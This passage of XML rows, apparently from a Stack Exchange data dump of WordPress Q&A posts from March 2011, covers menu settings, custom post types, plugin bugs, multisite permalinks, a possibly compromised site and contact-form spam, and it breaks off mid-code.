  <row Id="11640" PostTypeId="2" ParentId="11638" CreationDate="2011-03-10T05:32:48.977" Score="1" ViewCount="" Body="&lt;p&gt;OK, I found the answer to this one and its surprisingly simple but maddeningly frustrating at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is click &quot;Screen Options&quot; while viewing the &quot;Custom Menu&quot; manager and place a check beside &quot;Posts&quot; to show the elusive hidden &quot;Posts&quot; widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add &quot;Posts&quot; to your custom menus. Who knew anyone would ever want to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this is not part of the default screen options, while &quot;Tags&quot; is, escapes me, but that's the default none the less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, just to get a few more bytes out of this rant..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whoever decided that &quot;Excerpt&quot; should no longer be visible on the post editor screen should have to answer at least one of the 5 emails I get per day with on the topic of &quot;What happened to the excerpt field, it was there, now its gone&quot;. Brilliant.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-10T05:38:27.787" LastActivityDate="2011-03-10T05:38:27.787" />
  <row Id="11641" PostTypeId="1" AcceptedAnswerId="11812" CreationDate="2011-03-10T05:45:56.410" Score="2" ViewCount="181" Body="&lt;p&gt;I read the wordpress codex and professional wordpress. It seems both use something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($wpdb-&amp;gt;get_var(&quot;SHOW TABLES LIKE '$table_name'&quot;) != $table_name) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to determine if the table exists. Is there any reason why &lt;code&gt;CREATE TABLE IF NOT EXISTS ( ... )&lt;/code&gt; is not used? It will check and create the table in 1 query, won't it be better? Or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-22T06:46:59.307" Title="Checking if Database Table exists" Tags="&lt;database&gt;" AnswerCount="2" />
  <row Id="11642" PostTypeId="1" AcceptedAnswerId="11755" CreationDate="2011-03-10T06:30:24.790" Score="2" ViewCount="327" Body="&lt;p&gt;There was a news item today possibly of interest to those who self-host WordPress: Automattic unveiled the &lt;a href=&quot;http://jetpack.me/2011/03/09/blast-off/&quot; rel=&quot;nofollow&quot;&gt;Jetpack plugin&lt;/a&gt;. I hadn't heard of it before, but going off the announcement and the site FAQ, it looks as if it's going to provide multiple bits of functionality in one package (WP.com Stats, Twitter widget, shortcodes, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is wondering whether this might be overkill. Wouldn't it make more sense to use a few small specific plugins that do what you need, rather than installing some big assembly when you only have a few specific needs?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-03-12T19:38:31.470" Title="When would it make sense to use Jetpack?" Tags="&lt;plugins&gt;&lt;jetpack&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="11643" PostTypeId="1" CreationDate="2011-03-10T06:33:39.427" Score="1" ViewCount="182" Body="&lt;p&gt;I have 2 WordPress MultiSite installs (on different accounts, but under the same HostGator reseller a/c) and both seem to have been compromised. I say &quot;compromised&quot; because the user_logins have been modified (somehow) and &quot;hidden users&quot; are being shown via WP Admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to login to the installs which are both up-to-date (3.1) MultiSites. I use 1PassWord (with 50 character alpha + numerical + symbolic passwords) so weak passwords are not the hole. My logins (which I use every day) were rejected so I knew there was trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access phpMyAdmin and sure enough the user_logins and user_email had been modified. And if I change them via phpMyAdmin, 5mins later they were re-edited (now it seems I can't even do this). * Interestingly, I don't think you can change a username in WP Admin (it is ghosted and uneditable). Does this mean they are hacking in external to WP Admin in order to change this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the User Dashboard, 3 users are displayed, but the count (up the top) indicates there are 5 users in total. Super Admin is a simular story - it shows the tally as &quot;3 Super Admins&quot; but only 1 is displayed. (I have checked the source code and used Web Dev tools to try and find hidden content in these admin pages, but no joy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had hoped to add new Super Admin and delete old super admin (after porting posts to new user admin user). But I am unable to delete the original Super Admin user (ID=1) even after creating new Super Admin and removing Super Admin privileges from ID=1. When I click &quot;delete&quot; (on hover of User ID=1) nothing happens; the page simply refreshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HostGator have been suprisingly helpless, arguably hopeless, and VERY slow to deal with this matter. Which is ongoing. Can anyone give me some advice or help in any way.&lt;/p&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2011-08-08T01:20:49.900" Title="Has anyone experience w/ WordPress (MultiSite) hidden users (possibly hacked)?" Tags="&lt;multisite&gt;&lt;security&gt;&lt;hacked&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11644" PostTypeId="2" ParentId="11497" CreationDate="2011-03-10T06:48:57.073" Score="0" ViewCount="" Body="&lt;p&gt;So i decided that for me, i can settle for changing an input field on the top.parent for it to be used with the native options. i used this for the function of the iframe tab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function media_upload_choosebackground_form() {&#xA;     media_upload_header();&#xA;    ?&amp;gt;&#xA;    &amp;lt;h3 class=&quot;media-title&quot;&amp;gt;HTML Form&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;img src=&quot;http://www.mimi.me/wp-content/themes/mimi.me_regular_sites/images/background-Green-stripes-thumb.jpg&quot; style=&quot;cursor:pointer; float:left; margin:10px 0 0 10px&quot; id=&quot;greenstripes&quot; title=&quot;Green Stripes&quot; /&amp;gt;&#xA;        &amp;lt;img src=&quot;http://www.mimi.me/wp-content/themes/mimi.me_regular_sites/images/background-Pail-pink-squares-thumb.jpg&quot; style=&quot;cursor:pointer; float:left; margin:10px 0 0 10px&quot; id=&quot;Pailpinksquares&quot; title=&quot;Pail pink squares&quot; /&amp;gt;&#xA;        &amp;lt;img src=&quot;http://www.mimi.me/wp-content/themes/mimi.me_regular_sites/images/background-Purple-wall-thumb.jpg&quot; style=&quot;cursor:pointer; float:left; margin:10px 0 0 10px&quot; id=&quot;Purplewall&quot; title=&quot;Purple wall&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this as the click event for every image: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#Purplewall').click(function() {&#xA;        imgurl = &quot;http://www.mimi.me/wp-content/themes/mimi.me_regular_sites/images/background-Purple-wall-thumb.jpg&quot;;&#xA;        $(&quot;#MoobBackgroundUpload&quot;, top.document).val(imgurl);&#xA;        $(&quot;#MoobBackgroundUploadButtonImg&quot;, top.document).attr('src', imgurl);&#xA;        parent.tb_remove();&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and what i've got is a second tab with an image picker, and that what i wanted in the first place. &#xA;good for me!&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-10T06:48:57.073" />
  <row Id="11645" PostTypeId="1" CreationDate="2011-03-10T06:52:19.107" Score="0" ViewCount="95" Body="&lt;p&gt;I've installed a plugin to upload local avatars through a front end form to edit user profiles provided by another plugin (user frontend). While the upload and modification of the db seems to work just fine, clicking the update button of the form does apparently lead to the WP 3.1 admin bar no longer being rendered for some unexplicable reason. There's simply no $wp_admin_bar object being created. I have no idea what could possibly cause this, but I have also no idea how to activate the admin bar if the default init function fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3349" LastActivityDate="2011-08-09T10:21:28.830" Title="admin bar disappears completely in 2010 theme" Tags="&lt;plugins&gt;&lt;admin-bar&gt;" AnswerCount="1" />
  <row Id="11646" PostTypeId="2" ParentId="11645" CreationDate="2011-03-10T07:00:39.413" Score="1" ViewCount="" Body="&lt;p&gt;And I found the solution via another unrelated admin bar question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone ever comes across this problem with the user_frontend plugin or any other plugin posting data from a custom form - apparently WP unchecks the two admin bar related check boxes if a set of data is sent to update the user profile that does not include the check box values. Accordingly, WP dutifully didn't render the admin bar while I was logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've contacted the plugin author to look into this.&lt;/p&gt;&#xA;" OwnerUserId="3349" LastActivityDate="2011-03-10T07:00:39.413" />
  <row Id="11649" PostTypeId="1" AcceptedAnswerId="11656" CreationDate="2011-03-10T07:57:50.683" Score="0" ViewCount="98" Body="&lt;p&gt;We're setting up a site to showcase a series of archival recordings. We have the custom post types sorted out thanks to all the help from this site (many, many thanks): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_radiotalks' );&#xA;&#xA;function create_radiotalks() {&#xA;register_post_type( 'radiotalks',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; __( 'Radio Talks' ),&#xA;        'singular_name' =&amp;gt; __( 'Radio Talk' ),&#xA;        'add_new' =&amp;gt; __( 'Add New' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Radio Talk' ),&#xA;        'edit' =&amp;gt; __( 'Edit' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Radio Talk' ),&#xA;        'new_item' =&amp;gt; __( 'New Radio Talk' ),&#xA;        'view' =&amp;gt; __( 'View Radio Talk' ),&#xA;        'view_item' =&amp;gt; __( 'View Radio Talk' ),&#xA;        'search_items' =&amp;gt; __( 'Search Radio Talks' ),&#xA;        'not_found' =&amp;gt; __( 'No radio talks found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No radio talks found in Trash' ),&#xA;        'parent' =&amp;gt; __( 'Parent Radio Talk' ),&#xA;&#xA;),&#xA;        'public' =&amp;gt; true,&#xA;        'taxonomies' =&amp;gt; array( 'category', 'post_tag' ),&#xA;    )&#xA;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I think my syntax is correct, but I'll take any critiques:)&#xA;It turns out we want to add some more info to each of the individual custom posts. Namely, we'd like to make use of excerpts and custom fields--they aren't showing up on the 'add new radio talk' entry. I've dabbled a bit w/the supports tag, but no luck so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, we'd like to enter a recording ID#, total run time (TRT), # of CDs per set and year of recording for each entry. Is the best approach to register custom taxonomies for this data? Or does it make more sense to make use of custom-fields? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for all your help..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don. &lt;/p&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2011-03-10T13:29:30.797" Title="custom post data - how to" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="11650" PostTypeId="2" ParentId="11643" CreationDate="2011-03-10T08:38:04.393" Score="0" ViewCount="" Body="&lt;p&gt;I would first of all change the password for phpMyAdmin because I think they moust be getting though the DB next thing is if that doesn't work , but the bullet and do a clean install but backup all the post and maybe the comments if you want ot.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2011-03-10T08:38:04.393" />
  <row Id="11651" PostTypeId="1" CreationDate="2011-03-10T08:39:48.603" Score="1" ViewCount="378" Body="&lt;p&gt;I've noticed some bizarre behaviour in my WordPress installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some photos, when I click &quot;Edit Image&quot;, the full image is not displayed to me - just the area visible in the thumbnail. And yet, if you click &quot;View Image&quot;, you can see the full image is actually there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/kAjHR.jpg&quot; alt=&quot;Clearly needs some fixing&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, some manual intervention is required for this pic's thumbnail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/5ZLDq.jpg&quot; alt=&quot;Edit Image shows same weird crop&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on edit image, only to find the whole image is not presented to me for cropping/editing. Has the image been cropped on upload, maybe?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yOdeQ.jpg&quot; alt=&quot;The whole image is there&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;View attachment shows that no, the whole image is actually there - its just not available to me in the image editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only an issue for certain photos, and I can't see any difference between them - they are all JPGs, and there is no weird EXIF data that I can see... and yet some photos I can crop, and others not...&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-03-21T23:01:27.773" Title="Why can't I edit certain images from the WordPress Media library?" Tags="&lt;images&gt;&lt;media-library&gt;&lt;cropping&gt;" AnswerCount="1" CommentCount="10" />
  <row Id="11652" PostTypeId="1" AcceptedAnswerId="13035" CreationDate="2011-03-10T08:58:52.767" Score="1" ViewCount="340" Body="&lt;p&gt;I am using the Thesis theme with my WordPress multisite installation. I also changed the permalink settings from the Super Admin settings to remove &lt;strong&gt;/blog/&lt;/strong&gt; from the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now my menu links are broken. The permalink structure now is &lt;strong&gt;/%postname%/&lt;/strong&gt; and my pages have the links mydomain.com/about/, mydomain.com/contact/ etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try and navigate to these pages, it gives me a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me out on how to resolve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some additional info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the error logs and don't understand why the following log statements show up when I try to access the pages (if this helps in resolving the issue)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Thu Mar 10 12:29:18 2011] [error] [client xxx.xxx.71.55] File does not exist: /var/www/html/about, referer: http://mydomain.com/&#xA;[Thu Mar 10 12:32:44 2011] [error] [client xxx.xxx.71.55] File does not exist: /var/www/html/contact, referer: http://mydomain.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't it be looking for the files in the wp-content/themes/thesis folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADDITIONAL INFO&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content of the .htaccess is here (is the same as that in Network Settings)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xA;&#xA;# add a trailing slash to /wp-admin&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule  ^[_0-9a-zA-Z-]+/(wp-(content|admin|includes).*) $1 [L]&#xA;RewriteRule  ^[_0-9a-zA-Z-]+/(.*\.php)$ $1 [L]&#xA;RewriteRule . index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I am using the steps &lt;a href=&quot;http://diythemes.com/thesis/rtfm/modifying-thesis-multisite/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for using Thesis with multisite installation&lt;/p&gt;&#xA;" OwnerUserId="1070" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-19T00:05:39.247" LastActivityDate="2011-03-25T10:30:58.377" Title="WordPress multisite installation broke menu links" Tags="&lt;multisite&gt;&lt;3.1&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="11653" PostTypeId="1" CreationDate="2011-03-10T09:07:38.640" Score="0" ViewCount="562" Body="&lt;p&gt;I'm creating a web portfolio, and would like somethnig with carousel and thickbox/lightbox fuctionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'd like something to show a certain part of the image in a slideshow carousel, and when you click on it, it'll show the full image in like a lightbox, with a description (the title?) below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried 10+ plugins now and had no joy, apart from a few paid ones which I'd rather avoid if possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="3395" LastActivityDate="2011-03-10T15:32:03.297" Title="Best portfolio/gallery/carousel slideshow plugin with thickbox?" Tags="&lt;plugins&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="11655" PostTypeId="1" CreationDate="2011-03-10T09:34:27.260" Score="0" ViewCount="70" Body="&lt;p&gt;I have a parent category with child categories that I dont want administrators to see (or select). I could probably hunt down the actual code in the source and edit it, but this is bad practice. Also, when I do eventually upgrade, I will lose this change. How do I 'hook' into the meta box that shows the categories and exclude a parent and all its children using a function within a plugin?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2011-03-13T19:54:15.210" Title="hide categories from administrators using a plugin Wordpress MU 2.9.2" Tags="&lt;categories&gt;&lt;metabox&gt;&lt;multisite&gt;" AnswerCount="0" />
  <row Id="11656" PostTypeId="2" ParentId="11649" CreationDate="2011-03-10T09:53:25.317" Score="1" ViewCount="" Body="&lt;p&gt;Add supports to your array like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','comments')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the additional data per each recording if you need to filter or search by it the create a custom taxonomy if not then a custom fields would be just fine.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-10T13:29:30.797" LastActivityDate="2011-03-10T13:29:30.797" />
  <row Id="11657" PostTypeId="2" ParentId="11649" CreationDate="2011-03-10T09:58:37.517" Score="2" ViewCount="" Body="&lt;p&gt;To have custom fields available you can either add a&lt;br&gt;&#xA;&lt;code&gt;'supports' =&amp;gt; array('custom-fields',&quot;excerpts&quot;, &quot;title&quot;, &quot;author&quot;, etc)&lt;/code&gt;&lt;br&gt;&#xA;to your register array, or use&lt;br&gt;&#xA;&lt;code&gt;add_post_type_support( $post_type, $feature )&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_post_type_support&quot; rel=&quot;nofollow&quot;&gt;Codex Page for add_post_type_support()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the additional items you've mentioned, my inclination would be to store them as custom fields and not custom taxonomies&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-10T09:58:37.517" />
  <row Id="11658" PostTypeId="1" AcceptedAnswerId="16932" CreationDate="2011-03-10T10:23:07.317" Score="1" ViewCount="283" Body="&lt;p&gt;My system emails on my linux server have been getting &quot;message undelivered&quot; emails which appear to be sent from the Contact Form 7 widget I have on my website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The odd thing is, there is no &quot;to:&quot; field in the widget - just &quot;from&quot; and &quot;message&quot;. And yet the &quot;undelivered messages&quot; include random to:addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Akismet set up, and I have tested that it works successfully (I get the spam failure message when I test with their test-spam-email address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, they are somehow highjacking some sort of php mailer (don't know what contact form 7 uses - built in wp_mail?). How do I stop it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've contacted my host but they are unable to help me, other than to say &quot;Disable Contact Form 7&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email message below. The bottom bits were bits I added to my contact form in my WordPress installation, which is the only reason I figured out it was coming from my Contact Form 7 widget:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;From: Mail Delivery System &#xA;To: mysystemusername@constantine.dreamhost.com&#xA;Subject: Undelivered Mail Returned to Sender&#xA;Date: Sun, 16 Jan 2011 02:13:01 -0800 (PST)&#xA;Message-Id: &#xA;&#xA;[-- Attachment #1: Notification --]&#xA;[-- Type: text/plain, Encoding: 7bit, Size: 0.6K --]&#xA;&#xA;This is the Postfix program at host pants.dreamhost.com.&#xA;&#xA;I'm sorry to have to inform you that your message could not be&#xA;be delivered to one or more recipients. It's attached below.&#xA;&#xA;For further assistance, please send mail to &#xA;&#xA;If you do so, please include this problem report. You can&#xA;delete your own text from the attached returned message.&#xA;&#xA;                        The Postfix program&#xA;&#xA;: host e.mx.mail.yahoo.com[67.195.168.230] said: 554&#xA;    delivery error: dd This user doesn't have a yahoo.com account&#xA;    (esysdsq3614@yahoo.com) [-5] - mta1038.mail.ac4.yahoo.com (in reply to end&#xA;    of DATA command)&#xA;&#xA;[-- Attachment #2: Delivery report --]&#xA;[-- Type: message/delivery-status, Encoding: 7bit, Size: 0.5K --]&#xA;&#xA;Reporting-MTA: dns; pants.dreamhost.com&#xA;X-Postfix-Queue-ID: DBA1514C005&#xA;X-Postfix-Sender: rfc822; mysystemusername@constantine.dreamhost.com&#xA;Arrival-Date: Sun, 16 Jan 2011 02:12:56 -0800 (PST)&#xA;&#xA;Final-Recipient: rfc822; esysdsq3614@yahoo.com&#xA;Action: failed&#xA;Status: 5.0.0&#xA;Diagnostic-Code: X-Postfix; host e.mx.mail.yahoo.com[67.195.168.230] said: 554&#xA;    delivery error: dd This user doesn't have a yahoo.com account&#xA;    (esysdsq3614@yahoo.com) [-5] - mta1038.mail.ac4.yahoo.com (in reply to end&#xA;    of DATA command)&#xA;&#xA;[-- Attachment #3: Undelivered Message --]&#xA;[-- Type: message/rfc822, Encoding: 8bit, Size: 1.5K --]&#xA;&#xA;From: floppyk2011 &#xA;To: esysdsq3614@yahoo.com&#xA;Subject: [Out In Africa]&#xA;Date: Sun, 16 Jan 2011 10:12:57 +0000&#xA;Message-ID: &#xA;X-Mailer: PHPMailer (phpmailer.sourceforge.net) [version 2.0.4]&#xA;&#xA;Message body:&#xA;�èñòåìà àêòèâíîé ðåêëàìû.  �àðàáîòàòü â ñåòè. �ïëàòà çà ÷òåíèå ïèñåì è êëèêè. �àñêðóòêà ñàéòîâ - óâåëè÷åíèå ïîñåùàåìîñòè, íèçêèå öåíû äëÿ ðåêëàìîäàòåëåé!he system of active advertising. Earn online. Payment&#xA;+for reading emails and clicks. Site promotion - increase attendance, lower prices for advertisers!ôëóïèê.ðô&#xA;&#xA;--&#xA;This mail is sent via contact form on Out In Africa (www.oia.co.za), from IP address: 80.58.205.99&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-11T09:19:44.157" LastActivityDate="2011-05-11T09:24:04.853" Title="Contact Form 7 being hijacked to send spam?" Tags="&lt;spam&gt;&lt;plugin-contact-form-7&gt;" AnswerCount="1" />
  <row Id="11659" PostTypeId="1" AcceptedAnswerId="21338" CreationDate="2011-03-10T10:25:00.740" Score="0" ViewCount="111" Body="&lt;p&gt;The following is a &lt;a href=&quot;http://wordpress.org/support/topic/plugin-vote-it-up-show-top-voted-post-in-index-page&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; to Sort Posts by Vote (for the &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote it Up&lt;/a&gt; plugin):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found it anywhere so i put it here. This is a new function which add posibilities to sort post on index page by vote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this in &lt;strong&gt;votingfunctions.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ShowPostByVotes() {&#xA;    global $wpdb, $voteiu_databasetable;&#xA;&#xA;    mysql_connect(DB_HOST, DB_USER, DB_PASSWORD) or die(mysql_error());&#xA;    mysql_select_db(DB_NAME) or die(mysql_error());&#xA;    //Set a limit to reduce time taken for script to run&#xA;    $upperlimit = get_option('voteiu_limit');&#xA;    if ($upperlimit == '') {&#xA;        $upperlimit = 100;&#xA;    }&#xA;    $lowerlimit = 0;&#xA;&#xA;    $votesarray = array();&#xA;        $querystr = &quot;&#xA;            SELECT *&#xA;            FROM $wpdb-&amp;gt;posts&#xA;            WHERE post_status = 'publish'&#xA;            AND post_type = 'post'&#xA;            ORDER BY post_date DESC&#xA;         &quot;;&#xA;        $pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;    //Use wordpress posts table&#xA;    //For posts to be available for vote editing, they must be published posts.&#xA;    mysql_connect(DB_HOST, DB_USER, DB_PASSWORD) or die(mysql_error());&#xA;    mysql_select_db(DB_NAME) or die(mysql_error());&#xA;    //Sorts by date instead of ID for more accurate representation&#xA;    $posttablecontents = mysql_query(&quot;SELECT ID FROM &quot;.$wpdb-&amp;gt;prefix.&quot;posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT &quot;.$lowerlimit.&quot;, &quot;.$upperlimit.&quot;&quot;) or die(mysql_error());&#xA;&#xA;    $returnarray = array();&#xA;    while ($row = mysql_fetch_array($posttablecontents)) {&#xA;        $post_id = $row['ID'];&#xA;        $vote_array = GetVotes($post_id, &quot;array&quot;);&#xA;        array_push($votesarray, array(GetVotes($post_id)));&#xA;    }&#xA;    array_multisort($votesarray, SORT_DESC, $pageposts);&#xA;    $output = $pageposts;&#xA;    return $output;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in your &lt;strong&gt;index.php&lt;/strong&gt; page add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$pageposts = ShowPostByVotes();&#xA;&#xA;?&amp;gt;&#xA; &amp;lt;?php if ($pageposts): ?&amp;gt;&#xA;  &amp;lt;?php foreach ($pageposts as $post): ?&amp;gt;&#xA;    &amp;lt;?php setup_postdata($post); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Attention! Code above is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so in foreach loop you can use statements like in standard &quot;The Loop&quot; for example the_content, the_time().&#xA;To end this add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php include (TEMPLATEPATH . &quot;/searchform.php&quot;); ?&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The guy who wrote the code went directly to the MySQL, so this code may break in future Worpdress releases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make this code to follow better Wordpress practices?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GetVotes function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Returns the vote count&#xA;function GetVotes($post_ID, $percent = false) {&#xA;    global $wpdb;&#xA;&#xA;    //prevents SQL injection&#xA;    $p_ID = $wpdb-&amp;gt;escape($post_ID);&#xA;&#xA;    //Create entries if not existant&#xA;    SetPost($p_ID);&#xA;&#xA;    //Gets the votes&#xA;    $votes_raw = $wpdb-&amp;gt;get_var(&quot;SELECT votes FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;    $sinks_raw = $wpdb-&amp;gt;get_var(&quot;SELECT usersinks FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;    $guestvotes_raw = $wpdb-&amp;gt;get_var(&quot;SELECT guests FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;    $guestsinks_raw = $wpdb-&amp;gt;get_var(&quot;SELECT guestsinks FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;/* Deprecated&#xA;    $uservotes_raw = $wpdb-&amp;gt;get_var(&quot;SELECT votes FROM &quot;.$wpdb-&amp;gt;prefix.&quot;votes_users WHERE user='&quot;.$u_ID.&quot;'&quot;);&#xA;    